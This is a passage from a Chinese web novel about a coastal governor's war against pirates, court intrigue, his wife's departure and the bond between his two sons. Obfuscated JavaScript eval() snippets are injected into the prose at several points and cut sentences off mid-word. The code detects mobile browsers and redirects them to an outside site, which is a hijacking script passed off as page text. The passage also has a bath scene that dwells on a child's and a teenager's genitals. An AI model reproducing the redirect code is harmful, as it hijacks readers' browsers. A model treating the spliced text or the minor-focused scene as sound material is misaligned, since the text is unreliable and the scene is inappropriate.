“早就不是马背上打江山的时候了,朝堂上没有武将说话的份儿。”高琰道,“若没我当这个总督调衡,前线的军粮、军饷怕是都会被克扣。可说到底,打仗打的是什么?是银子,是粮食,是人命,银子是百姓交的税,粮食是百姓纳的粮,你们,还有外头的弟兄们,全是爹娘生的血肉之躯,不是金刚不坏啊,被刀子戳了会流血,会死!” 他长长叹出一口气:“其实,那些水寇,并没有多厉害啊。他们装备没有我们精良,几乎毫无战术,我们的炮口也比他们多嘛。只是我们的海岸线太长,他们人比我们多而已啊。” 高琰手中能可长期调遣的不过五千兵马,战事吃紧时,他便需用总督令牌调遣靖江守备军协同作战。 就这几千人,他还要沿可着陆的浅滩处,分设关卡,布线守关。 水寇们有战舰,还有从西洋商人那买来的火铳和火炮。虽说抢滩困难,但他们人多,抢滩失败后,能 立即退回船上,茫茫大海,几乎是追不上的。 即使如此,他仍旧凭着手上不到一万的兵,每每以少胜多。 “异邦猴子,无教野人。”高琰骂道,“何至于一场仗,要打十几年,几十年?我两江沿海,是否永不得太平?我两江百姓,就真如此贱命,生在这样的地方,连活下去,都得看异邦人脸色?”高琰道,“我不懂啊,你们懂吗?有懂的吗?” 他一掌拍在桌上,沙盘被震得动荡:“你们还想打多久?守多久?” “翊儿!”他喊了高承翊的名字,高承翊站着,头却垂的更低。 “我在抚州总督衙门后的总督府,每到年节,就有百姓跪在门口,捧着攒下的鸡蛋、生丝、猪肉…要送给我。你见过吧?” 高承翊点头:“见过,不收下就不肯走。母亲无法,只得收下,记下姓名住址,买了回礼,再给他们送还回去。” “我为官十数年,又做了些什么呢?海波未平,那些敬重之情,我高琰受之有愧。”高琰道,“这一仗,必须促成决战之役,改抗击为主动出击,不准放跑一个水寇,一艘贼船!不留活口。” “可用一城诱敌,是否太过了?”事到如今,也只有高承翊敢这样问。 周季修心道:还是宠儿子,若是我,得拖出去受军棍了。 为防城中有奸细,他们的战略不会出这个军帐,就连底下的士兵都不会知道,只听调令,到地方,见敌后听令杀敌。 汾州的官员、百姓,对此毫不知情。 “太过?”高琰看向高承翊的眼神,让他陌生,“所以我问你,还有更好的办法吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101025|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 高承翊不再说话,他没有,他虽然去过很多地方,也跟着在防线上驻守过,可他说到底,只是个富家少爷,少年书生。 “高承翊,战争都会有牺牲。”高琰道,“这次不打,再拖下去,下次我们还是会有将士战死,还是有会百姓遭难。水寇一日不平,百姓就要为了我们的军需,把碗里本就不多的米粮,省出来给我们吃。不是被水寇杀死,而是因赋税而饿死。” “你记住!”他看着儿子,“你今日没有更好的解决办法,这一仗汾州死伤的百姓,就是你我父子二人的罪孽。他们…是被你我害死的。” 此话一出,军帐中众人齐齐跪倒:“总督何出此言!” “我军将士必定英勇作战,都是晏江的子弟兵,生在晏江长在晏江,为保我晏江沿海投的军,必定全力护我百姓周全!” 那一仗,杀敌近三万众,击沉水寇战船200余艘,缴获战船100余艘、大炮200余门,火枪近千支,另弹药、铁器无数。 可关于汾州的死难者,高琰能做的便只有将水寇劫掠的物品归还,再安排衙门放粮救济,且给有伤亡的民户补贴钱款。 一场仗大胜后,除了有功者获得奖赏,随之而来的便是善后和往后的发展之事。 水寇平了,晏江的港口便能再开起来,众所周知,港口贸易,是有大利可图的。 大渊朝对海上互市管控诸多,朝廷用港口外销丝绸、盐、铁。海销利润巨大,铁锅,铁农具,丝绸,茶叶,这些东西运往海外,往往能卖出多几十倍的高价。 但这些东西,除了茶叶,全握在朝廷手中,只有朝廷的商船能卖。 可有利就有不要命的人去挣。 商人们可不管那么多,弄一艘船,运上一船的东西,找个地方偷偷下海,运出去,再回来就是一整船的银子。跑个几趟,就够置办田产大宅,风光一辈子。 这股海运的风气盛行时,沿海几百个村子,都在干这事儿。 偷偷的运出去,不用交税,钱拿自己口袋,再加上是民间小作坊所产,质量不如朝廷船上的好,卖价更便宜。 扰乱了物品在海外的行情口碑,导致朝廷船上的东西,反被洋人压价。 这便是为何朝廷必须对海运加强管控。 但还有最重要的一点,是西洋火器。 大渊朝对火器管制极其严格,无论是图纸,制造工艺,都有专门的衙门负责。 比如火铳,这玩意儿近距离杀伤力大,但装弹瞄准都需要时间,装一次弹,只能打一枪。远的地方射不准,运气不好还会炸膛。 至于近的地方,只能打一枪,一枪不中,不等装上子弹,马已跑头前,刀已劈面门。 故而实战时,用处不如刀箭。 可若是给劫匪歹人弄去几把,与民间治安来说,便是大事了。 洋人可不管那些,他们贩售火器,太栉国水寇能闹这么久,也是因为用抢来的钱,买了他们的炮。 不过关于港口开放的事,高琰暂未接到任何旨意。 光盛34年,秋,沿海战事平息。 冬,晏江百姓休养生息。 现是光盛35年春末。 13. 朝局 孟光、高琰,两人相错5日离开的抚州。 孟光先行,是进京赴任。 而高琰,则是临时被传唤进京述职,与他同行的是燕王李睦炜。 此事他有预料,所以才将高承翊叫回。 高琰临行前将高承翊叫去书房相谈。 高濯衡在父亲面前多拘谨,高承翊这边却自然许多。 甚至有些散漫地翻看着高琰书架上的书册。 挑了一本斜着坐在椅子上,边看边等高琰处理公务。 高琰看完文书,才抬头看高承翊,问:“听说一回来就和你母亲吵架了。” “不是吵架,是争论。”高承翊道,“衡儿没做错事,就不该受罚。” 高琰哼笑了两声:“在你眼里衡儿做什么才算做错事?” 高承翊不说话。 “她给你的画像,你也扔了。” 高承翊道:“我才十七,还没到娶妻的时候呢。” “我看有几个,长得倒是很漂亮。”高琰是有意试探的。 他娶妻时,并不知道自己对女子的身子不感兴趣,知道时已经晚了。 高承翊放下书,表情有些责怪:“叫我来就是为了说这个?” 高琰笑问:“一个中意的都没有?哪怕是,觉得顺眼的?” “觉得顺眼,也不能由得你们乱点鸳鸯谱,两边看看画像,就说媒成亲,荒唐。”高承翊道,“我要娶什么样的女子,我自己去认识,去看,去找。” 若是早几年,他可能会斥责高承翊,可如今却觉得他说的有道理。 “怎么找?骑着你的马,边游历边找?”高琰玩笑道,“你是要找街边摆摊贩货的,还是找路边杂耍卖艺的?。” 高承翊道:“舅舅说,家里不看重门第。” 赵家和高家祖籍都在冀州,赵家人丁算兴旺,老家叔伯堂表的有个几门亲戚。 高琰幼年丧父,高母一人将他养大,孤儿寡母日子过得清苦,偏在他考中举人那年,母亲也病死了。 加之高琰不爱搭理那些亲戚,高家这边是只剩几乎不联络的远房宗亲了。 高琰少见的打趣道:“他倒是想看重门第,笠安那地方也没有啊。” 高承翊道:“总之还没到娶妻的时候,明年四月不还得春闱嘛。” 高琰道:“说到春闱我就来气,乡试后不等放榜就跑去笠安,我若不叫你回来,你打算什么时候回家?” “若考不上我在家等着也是白等,考上了,即使我人在笠安,也是考上了。死守着等放榜,无趣。”高承翊道,“舅舅的意思是让我多留两个月,入夏后南边许多瓜果,咱们这儿虽然夏天也能吃到,但没树上刚摘下来的新鲜。” 高琰道:“等港口开放就能吃上新鲜的了。” 西南的笠安和东南的两江是有接壤的,但接壤处多为高山峻岭,还有河道阻隔,小路有许多,都不好走。 唯一好走的,只有一个国道关口。 平时西南的山货就是从那个关口往外运,以两江和西南的距离,商人们快马加鞭五日内能把瓜果运到抚州城,这时吃还有八分鲜。 可若是运去京城,官家急报,日行百里,五日入京是最快的速度,而载了商货的马车没那么快,则需再添上十日左右。 这样已是半月,等到了京城,足有一半的耗损,剩下的那些也不够新鲜了。 故而西南产的瓜果,既不新鲜又价贵,虽然看着稀奇,可在京城卖的并不算好。 除了大户、官宦人家,每年买些应个季,普通百姓是吃不起的。 而在产地,其实瓜果并不贵。 贵在运输的成本。 卖得不好,商人也不愿再多批量购买,便导致产地的瓜果价格被压得更低。 如今海患平定,对西南也有益处。他们的货物可从西南港口出海,北上,在途经的所有港口卸货售卖。 不用再害怕货物被水寇劫走。 高承翊问:“父亲得到旨意,港口要开了?” 高琰道:“我接到了进京述职的旨意,后日一早就要动身。” 说到正事,高承翊严肃着站起听话。 “如果…一切顺利,一个月左右就能回来。”高琰道。 “会议港口的事?” 高琰点头:“应是如此,衙门里的事我已经安排妥当,我不在,你就别出门了,在家守着你母亲和弟弟。” 高承翊恭敬道:“是。” “有你在,我是放心的。”高琰道,“你今年已中举,明年春闱若是真能一次考中,你我父子二人,便是同朝为官了。不知,你今后有何打算?” 高承翊停顿了许久。 “没打算?”高琰笑问。 高承翊点头。 高琰没有责怪他,反道:“这也正常,你太年轻了,顽心未泯,既不想娶妻,又不想当官。”他看着儿子说,“此前去海防,你倒是很愿意。队伍也带的不错,每每入阵皆有杀敌之功,提出的决策也行之有效,跟着周季修,王禹志他们,你学了很多。少年将军意气风发,我承认,你很能打。若你不是我的儿子,我必定会提拔你,成为我的将领。” “可是翊儿,我对你,有更高的期望。”高琰道,“你书读的很好,人也十分聪明。如今朝局稳固,各地虽有小灾不断,但都无法动摇江山。水寇是打了这么多年,那也是因为朝廷不把水寇放在眼里,我手上的兵马,始终不足一万,若无燕王为我筹措军需,为我将士邀功请赏,独我一人也无法在去年把仗打完。你也知道,沿海安定后,原本的守备军就被调走了一大半,现在海边防线,加上整个晏江省的官兵,不足三千人。这是为了防止军中拥兵自重。军队是国家的军队,非是将领个人的军队。这样的世道,重文轻武。你再能打,也只是朝局下,任人驱使,脖子上栓了铁链的狗。” “天子坐的明堂太高,听不见底下的声音。”高琰道,“你若想让他听见,就得入官场往上爬,爬去胜京,爬去金殿。” 高承翊明白父亲的志向。 “以父亲您在两江的政绩和威望,再加上平定海患的功绩,今后史书的名臣录中,我想必定少不了您的名字。”高承翊借机问出了心中的疑问,“可是为什么要攀附燕王?” 他用词太重。 “纯臣是不该与皇子结党的。”高承翊知道礼教约束,他不能质问父亲,可他真的很想问,“圣上一向体健,且我大渊早立了国储。” 怎样都轮不到燕王去坐那个位置。 “父亲这样做,会让圣上猜忌。”高承翊道,“我…是心疼您,为您担忧。” 高琰点头:“嗯,你能问出口,这很好。你要记得,官场无非任用与罢免,上官交代的事,下官必须去办,办好了他为我请旨封赏,再将下一件事交给我。而我办好了这件事,他亦有功,于是众人便道我和他是同党。可若无他,两江总督这个位置,早几年,或许已经换人来做了。官场最怕的就是无人,最忌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这么多年,父亲的难处,儿子都看在眼里。”高承翊也生出了几分,要入官场为父亲分忧的心思。 高琰拍了拍儿子的肩膀:“你去吧,多陪陪衡儿。” 李睦炜已经挑明了要把孩子接走的意思,此回进京,便要把多了个皇孙的事告诉皇上,皇帝点了头,他立马接儿子回家。 高琰本想告诉高承翊,可看两个孩子感情那么好,便不想让这最后相处的时光染上忧虑。 高承翊笑道:“他正是顽皮的时候,昨晚睡前就想好了今日要去的地方,这个时辰肯定已经在院门口等我了,迟去一会儿,都得对我发一通脾气,不哄上半个时辰,都不给好脸色的。” “等我从胜京回来,有关于衡儿的事,要与你说。”高琰道。 高承翊问:“何事?” 高琰道:“如今还未确定,等我回来吧。” 高承翊没想那么多,弟弟是他从襁褓时就抱着长大的,他觉得左不过是读书的事,让他去京城求学,或是回冀州老家让外公教,无论去哪,年节都得回家,他平时也能去看望,便没把这句话放心上。 高承翊怕二宝等急了,大步往门口走。 却又被高琰叫住:“翊儿等等!”他顿了顿,要说又不说,最终还是说了:“把你母亲的信件还给她,不许再截下来。” 14. 就是要凶点好 高濯衡上午要跟着先生读书,自晨起,午休一个时辰,到下午未时末才有空闲。 哥哥在家,他读书也是心不在焉,先生就让他练字,他字写的最不好,夏辛在他旁边倒是很认真的在临摹字帖。 一笔一划的,写得比他好多了。 高濯衡心里不高兴,就偷偷挠他,又故意在他写到最后时,用手肘撞他,害他把最后一划拉得老长,纸上还点了墨迹。 看夏辛委屈巴巴又不敢发作的样子,高濯衡就偷笑。 夏辛只好噘着嘴重写,高濯衡就把他的脑袋掰过来,用两个食指把他的嘴角手动提上去。 若是旁的什么人,夏辛肯定恨死他了。可是使坏的是他二爷。 夏辛能做的只有用尽全力让嘴角向下,不让他给提上去。 这让高濯衡更觉他逗弄起来好玩,趴在桌上差点笑出声,直到先生咳嗽瞪他,他才稍稍消停。 高承翊在廊下藏在窗后把这幕看得清楚,他这个角度弟弟看不见他,但先生能看见,便对着他捋胡子摇头。 高承翊笑着作揖,老先生也曾是高承翊的启蒙恩师,总说兄弟两个一点都不像。 高承翊有多乖多懂事,高濯衡就有多调皮多胡闹。 人大哥在等着,小孩儿也没心思学,先生就提早放了人。 高承翊便带着两个孩子去街上玩。 夏辛腰侧别了一把小臂长的刀,是高承翊给他的,他听高承翊说战场上的故事,十分神往,只恨自己年纪太小,不能上阵杀敌。 高承翊见他如此热血,便特地给他打了一把小刀。 他收下后就一直别在腰上,把自己当成了高濯衡的护卫。 十岁的孩子已经不算小了,可高濯衡还是要哥哥抱着,抱累了就换成背的,总之他不想走。 也就只有高承翊这样的大哥,才能由着他。 高承翊问夏辛:“给孟大人磕头了吗?” 是在关心他们母子二人给孟光送行的事。 “磕了。”夏辛道,“我娘还给孟大人做了一身新棉衣,她说北边不比咱们这儿,可冷了。她新弹的棉花,塞得实实的呢。孟大人是好官,两袖清风,家里日子过得也紧巴,官服倒是熨贴板正的,可私下我只见他穿麻衣、棉衣,连绸衣都未见他穿过。孟大人收下了我娘的棉衣,还摸了我的头,让我好好读书,要护着我娘,好好守在二爷身边,往后咱们还能再见。” “我听说,你娘要嫁人了?”高承翊突然想起这档子事儿。 可能是因为他自己的娘,也要重新嫁人了,嫁给那个隆州守备军指挥使,常常给她寄信的,叫沈驰的男人。 区区隆州守备军指挥使,又不是锦衣卫指挥使,真不知是身上带了什么迷药。 夏辛道:“我娘说,还在考虑呢。” “是什么人?你见过吗?”高承翊问。 高濯衡抢答:“见过的见过的,就是正街那家油坊的掌柜,娘亲知道他和夏辛的娘有这层关系后,照顾他生意,府中的油都让他家送来呢。” 夏辛点头:“嗯,我总觉得人太胖了,配不上我娘。” 高濯衡道:“你知道什么,油作坊可挣钱了,油和水可不一样,你娘卖两三年的茶水,他卖油一个月就能挣到呢。你娘嫁给他,就不用再做生意,能在后院当夫人,每天都有猪肉吃,菜里多放油也不用心疼,这样的日子,过个两年你娘也能长成胖子。”他想像着肥嘟嘟的夫妻俩并排站着等夏辛回家的样子,笑了出来。 夏辛想到这事,心里就不舒坦,怎么看那个胖子怎么不舒服:“我娘才不会胖呢!” 高濯衡道:“嫁给他就会了,这叫夫妻相,夫妻俩都会越长越像的。” 高承翊问:“你娘为什么还在考虑?” 高濯衡打岔:“就是就是,过这村儿可没这儿店了。” “我娘才不稀罕呢,我家不图他家那两个子儿,我吃住都在咱们府上,我娘卖茶水也能挣着钱。”夏辛道,“不多归不多,可自己挣的自己花,花得踏实,不用看人脸色。” 高承翊点头:“你说的不错,可你在府中日子长,她一个妇人家不容易,若是能趁现在年纪不算大,再嫁个人,好歹是个归宿,老来作伴也有个照应。当然,得找个对她好,靠得住,能过日子的人。”他点了点怀中的弟弟,“你啊,说你精好还是说你蠢好呢,说蠢还知道贪人家的财,说你精,又只知道贪财。” 高濯衡吐了吐舌头。 高承翊说完这番话后,突觉被自己这番话惊出了一身汗。 他凭什么就觉得女人一定要好歹找个所谓归宿。 他又凭什么断定,今日待她好的人,往后还能待她好。 可一个人卖茶水,总有卖不动的那天。 人说江南富庶,可富的是商贾、地主,从来不是平头百姓,更不是她那样的一个弱女子。 却听夏辛道:“别人靠得靠不住我不知道,但我得靠得住,有我在就不能让我娘受欺负。” 高承翊空出一只手摸了摸夏辛的头:“好小子,有志气还孝顺。” 他对高濯衡道:“你要多向夏辛学学。” 高濯衡不以为意:“那哥也护着我,可不能让别人欺负我。” 高承翊笑道:“整个抚州的官家,外加咱们家前后三条街,都找不出一个比你还精还坏的小孩儿,谁敢欺负你?” 高濯衡撒娇,头垂着去撞高濯衡的前额:“不行,万一呢!万一就有呢!” “那你说怎么办?”高承翊问。 高濯衡道:“哥用马刀给他劈了。” “嚯,这么凶啊!”高承翊颠了颠怀里的弟弟, “好不好?”高濯衡继续追问。 高承翊答应道:“好。”男孩子,要聪明些,要凶些,他才放心,“夏辛啊,你跟了好主子,咱们高家二爷以后肯定有出息。” 抚州春末的风吹着舒服,他带孩子们去放风筝,高濯衡牵着风筝线在桥上跑,看着高高的风筝,两个孩子就牵着手笑。 正街上有南国来的洋人在表演杂技,围了一堆人去看,什么吐火球,钻火圈,叠罗汉这些对高濯衡来说不是很新鲜,他的眼睛一直盯着杂耍团里的那只大象。 杂耍的才说可以花钱骑大象,高濯衡就最先冲了出去,他哥付了钱,高濯衡骑在大象背上,冲下头招手。 “夏辛想骑大象吗?”高承翊本意是,夏辛也是小孩儿,小孩儿都贪玩,他要想骑,便也让他上去玩玩。 可夏辛仰头看着高濯衡,开始老妈子上身:“哎呀!怎么这么高呢!这万一摔下来可怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101027|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么得了啊!” 他根本没听见高承翊的话,只对着上头喊:“我的爷!快下来!太高了!二爷!” 他那胆大顶破天的二爷,骑上大象屁股就跟生了钉子,不绕着正街走三圈,绝不会下来。 高承翊只好在下头跟着走,顺带一路给钱。 “再骑一刻钟的。” “再骑一圈。” “再来一圈。” “再…” ………… ………… 直到… “高濯衡,你下来!你哥口袋空了!” 高濯衡还不尽兴:“你让他记账上去府里拿嘛。” 高承翊道:“你再不下来给大象当弟弟吧。” 小孩儿这才不情不愿的:“好了好了,我…下来就是了嘛,小气鬼。” 这波杂耍的赚得盆满钵满,总督家大公子口袋光光,还要被弟弟说是小气鬼 。 高濯衡一下地,老妈子夏辛就赶紧去抱着,接着絮叨。 哥俩都懒得听他说,左耳朵进右耳朵出。高承翊都搞不懂,一个十岁小孩儿,怎么能比五十岁老妈子还能念。 败家弟弟到了饭点还不想回家,要他大哥带着去馆子吃炒菜。 高大公子今日大出血,可为了弟弟也甘愿。 俩孩子吃完饭困了,是一步路都不想走,高承翊又叫了马车回家。 在车上,夏辛非说酒馆里唱曲儿的姐儿唱的不好听。 夏辛道:“我娘比她唱得好。” “我没听过啊。”高濯衡道,“你会吗?” 夏辛道:“以前唱过哄你睡觉呢。” “有吗?”他平素睡得快,甚少需要哄,“那你现在唱给我听听。” 夏辛便将他娘唱着哄他睡觉的小调,唱给高濯衡听。 高濯衡屈着身子,头枕在高承翊腿上,夏辛坐在他身侧,俯身靠近,手配合着小曲的拍子,一下一下轻轻拍着高濯衡的背。 那曲子本填的是青楼里的艳词,唱了些男女床笫云雨之事,被夏娘重新写了唱词,唱的是小孩儿乖乖睡觉,弯弯月儿床头挂,萤火点点催好眠,可那调子却千绕百转,万种柔情。 他学着女人,夹着嗓子,高承翊听着可别扭,但他不知哪儿别扭,只当小孩儿瞎唱呢。 可高濯衡却很吃这一套,他不睡了,躺平睁眼看着夏辛,还牵住了夏辛的手,在夏辛唱完后,说:“是真的,比旁的好听太多了。” 夏辛也高兴:“是吧,我娘唱的更好呢。” “你娘真厉害。”高濯衡道。 大哥心想,怪不得能玩一块儿,这一个夸一个受,俩都欢喜。 他将弟弟送回院子,像早几年那样在一个浴桶里洗了澡。 高濯衡长大了不少,大浴桶里泡着他们一大一小还有些挤。高承翊许久不帮弟弟洗澡了,今日玩得高兴,便也放纵些,同意了一起洗。 他用木勺舀水,给高濯衡冲头发上的皂角水。 高濯衡冲干净了脸,能睁开眼睛后,无意低头,看见了他大哥的大大鸟。 高承翊察觉到弟弟的视线,用毛巾盖住了。 他往高濯衡脸上泼水:“看什么呢。” 小孩儿问:“长大了,小鸟也会变大吗?” 15. 哥还是不要娶嫂嫂了 上次一起洗澡的时候,高承翊也没有刻意遮拦,那时候的高濯衡并不会特别关注身体构造的不同。 高承翊想,果然长大了每天都不一样,下次还是不能和他一起洗澡了。 大哥不答话,高濯衡就伸手去掀毛巾,高承翊连忙抓住他的手:“嗯?二宝不乖!” 高濯衡眼神飘忽,不看哥哥的脸:“明明是你小气,我也有啊,你看就是了。” 他还自信的挺了挺,如果不是高承翊压着,他就要站起来遛鸟了。 “行了行了,知道你也有。”高承翊真是忍不住笑,“告诉你,在哥哥面前可以这样,到外头可不能这样不知羞。” 高濯衡低头看了看自己的小小鸟:“我知道的,你以前教过的,不能给人看,我都记得呢,我连夏辛都没给看过呢。” 高承翊掐了掐小孩儿的肉脸:“好二宝。” 也正是他两手掐高濯衡脸的间隙,小孩儿把他盖着的毛巾掀了,双目对上了他的胯/间。 然后脸色都变了。 原来长大了,是这个样子的。 高承翊就见原本白粉粉的弟弟,突然全身泛红,活像一只煮熟了的虾。接着也不说话也不吵,缩去了浴桶边。 高承翊道:“都叫你别看了,你非看。” 小孩儿震惊,毛茸茸的,肉乎乎的,上头全是青筋,颜色也和自己的不一样。 高承翊起身披了浴袍,拿了大浴巾来给高濯衡擦身子:“站起来,给你擦干抹香膏。” 高濯衡还是蹲在水里:“我自己来。” 高承翊笑问:“洗之前是你缠着我要一起洗的啊。” “嗯。”高濯衡闷闷不乐。 “怎么了?”高承翊拉过小孩儿的脑袋,“吓着了?” 别说高濯衡了,就连他自己也觉得他的那东西生的怪吓人的。 尺寸太大是其一,颜色也很深。 平常这样倒还行,早晨起来精神头足的时候,上头的青筋层层绕着,要是弟弟不小心看见,像现在这样不要说话都是小事,恐怕是要嚎啕大哭了。 “那…它长那样儿,也不是我的错啊。”高承翊很无奈,他怎么都想不到,自己有一天会因为那玩意儿把弟弟吓着,还得去哄。 高濯衡问:“我的以后也会长那样吗?” “应该吧,咱们俩是兄弟,肯定都长得差不多啊。”他把高濯衡抱起来,细细给他擦干身上的水,又给稍微裹起来,再给他擦头发。 “大家都长这样吗?”高濯衡问。 高承翊糊弄道:“我也没见过别人的呀。” 高濯衡道:“哥还是不要娶嫂嫂了。” 高承翊抬眸,挺疑惑的,怎么还扯到嫂嫂了? 小孩一本正经的:“你的脸是长得还不错,可小鸡太吓人了,长得像大象鼻子,洞房脱了衣服,是要把姑娘吓跑的。” 高承翊掐住弟弟的脸,揉着拧着玩:“谁告诉你娶妻要洞房的?” 高濯衡不说话了。 “我发现你现在越来越坏。”高承翊虽然问,但没计较太多,毕竟是男孩子,长大了总得知道些。 他刮了一下弟弟的小鼻子,继续帮他擦头发。 擦干了,拿了香膏给他摸在脸上脖子上,还有手脚,膝盖等处。 香香软软干干净净的,又拿来寝衣给他换上好睡觉。 他看了哥哥的,可自己却小心思,把小鸟捂得紧,还一把抓来裤子自己穿。 高承翊啧了声,弹了一下他的小脑门:“你啊,说你什么好。” 高濯衡穿上裤子,捂着脑门嘟囔:“我才不要和哥长的一样呢。” 高承翊只好又给他捞来,让他坐自己腿上,好生哄道:“行,你长个好看的。” “嗯。”小孩儿煞有其事。 “那你可怜可怜哥哥,帮哥哥保守秘密行吗?”他可不想这孩子出去见人就说,“就只有我们两个知道,不许告诉第三个人。” 高濯衡想了想,他还是喜欢哥哥的,鸟长得丑也不是哥哥的错:“行吧。” 他抱着高承翊的脖子,亲了他的脸颊一口:“我不嫌弃哥,哥怎么样都好。” 高承翊直接抱着弟弟站起身:“好,哥也不嫌弃你,入夜了,好孩子洗完澡擦完香要做什么?” “要睡觉。”高濯衡道。 “对咯。”高承翊抱着弟弟去卧房。 夏辛一个人比他俩洗漱更快些,已经躺进被窝睡着了。 高承翊把弟弟放在夏辛旁边,给两个孩子都掖好了被角。 只留了一盏小灯,他侧身躺在床沿边,拍着高濯衡的胸口哄他睡觉。 “热吗?”他看见高濯衡额上沁了些细汗,泡澡后再进被窝,在春末是有些热的。 高濯衡即使精力旺盛,却还是年纪小,玩了一天,这会儿一躺下就昏昏欲睡了,又有哥哥哄着,梦里都在笑,迷迷糊糊地应着声:“嗯。” 高承翊便拿了床边的蒲扇,帮他扇风。 他看着弟弟稚嫩的脸,很担心他知道父亲母亲要和离,母亲会离开抚州后会有何反应。 自小就娇气,肯定会哭吧。到时候他又应该怎么去哄? 毕竟他自己心里都不舒服,无法接受。 想着想着,只好告诉自己算了,父母的事,他又能如何呢。 高濯衡摊着手脚睡得香甜,一旁的夏辛在梦里都在当护卫,侧着身子脸朝他二爷这边,一只手搭在高濯衡胸口,是半抱着保护的姿势。 高承翊突发奇想:啧,说我的…像大象鼻子,还说生的丑?! 他悄悄起身,从外间的书桌上挑了一支没洗的毛笔,沾了些茶水,轻轻扒开了高濯衡的寝衣。 就这那盏昏暗的小灯,用墨把高濯衡的小鸟涂成了黑色,还在上面画了一个小象头,正好用小鸟当鼻子。 高承翊画完后,挑眉叉腰欣赏了一番,才给弟弟穿好裤子,吹灯拂袖而去。 他心情大好,披着衣服脚步轻快,回自己的院子。 才开门进去,就见赵蓉正坐在椅子上等他。 “我还以为你会在衡儿房中陪他。”赵蓉道。 高承翊收起了玩世不恭的样子,拢好了衣领,站直给母亲行礼。 他总是规矩得体的,赵蓉今日见他如此,才恍然察觉他今年也才十七岁。 “你自从有了弟弟,似乎一夜之间就长大了,褪去了孩童的脾性。”赵蓉道,“后来又随你父亲去了海防,上过战场,消息来说你杀敌的时候,我担心的一整夜没睡着觉。” “孩儿不孝。”高承翊行礼,“让母亲担心了。” 赵蓉摆摆手:“多谢你将信还我。” 高承翊暗自攥紧了袍袖中的手。 屋里陷入了沉默良久,还是高承翊问:“真的要走吗?” 赵蓉点头:“这座总督府,困住了我近二十年。我与你父亲早已相看两厌,他如今肯放手,我自不会再多留。” “去…隆州,找他?”高承翊问。 赵蓉道:“即使没有他,我和你父亲也无法再做夫妻的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101028|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高承翊没说话。 赵蓉又道:“他等了我十年,我至少要去看看他。” “你一人前去?”高承翊问。 赵蓉道:“接到信,他说已经告假,到时会来抚州接我。” 高承翊又沉默了。 赵蓉今日来,就是要将心里话讲给他听,她不在意高琰,可儿子是他亲生的,亲手带大的。 也对她很是孝顺。 “其实我早知道你截了我的信,可作为母亲,确实无法坦然的和儿子去说自己的…”赵蓉顿了顿。 他也没截到几封,就看了最开始的那一封,后头的根本不敢打开看。 赵蓉道:“你父亲与你说过什么吗?” 高承翊道:“他说是他薄待了你,让我不要深究,多说无益,人心是…无法禁锢的。” 但其实,赵蓉已经被实打实禁锢了近二十年了。 高琰那时担心官场弹劾和赵阁老旧部报复,又恰巧遇上燕王找他照顾小王爷,他担忧赵蓉离开小王爷缺了母亲照料,会得罪燕王。 又觉得赵蓉即使离开他,也不一定会找到更好的人,在抚州吃穿不愁,诰命加身,儿子还争气。安身立命,脸面家族,什么不比所谓良人相伴重要? 而十年前的高琰和如今的高琰,所想又不同。 他如今在东南的地位,并非轻易几个弹劾可以撼动,高濯衡也即将被接回王府,即使没有,也到了要出门读书的年纪,不再是需要母亲寸步不离照料的幼童了。 而那位,等了她十年的沈郎君,大约也真是位情深义重的良配吧。 故而高琰决定,就这样算了吧。这位向来自视甚高的总督,在将和离书交给赵蓉时,说了第一句,也是他跟赵蓉说的唯一一句:“多年辛苦,是我累你,抱歉。” 赵蓉接过那张薄薄的纸,说出的话十分平静:“抱歉两字何其简单,你的抱歉我不稀罕。” 她不在乎高琰,可高承翊他还是在乎的。 “翊儿会觉得我自私,恨我吗?” 高承翊道:“不会。” 赵蓉点点头,她想问,既然不恨,你为何截我的信。可想了想,还是问不出来。 高琰说的对,这摊子烂事儿,多说无益,到此为止最好。 高承翊没有说谎,他不恨母亲,可于他而言,这确实是让他很难接受的事。在他眼中,父母一直是相敬如宾,十分恩爱的。直到他对母亲的信件起疑,才恍然发觉,他眼中恩爱的父母,从未睡过一间房。 这件事直到他有了在意的,喜欢的人后,他才明白,十分恩爱就不可能相敬如宾。 爱意导致的占有欲,让他恨不得日日抱着,时时亲近,缠上去,粘着永远不放开。 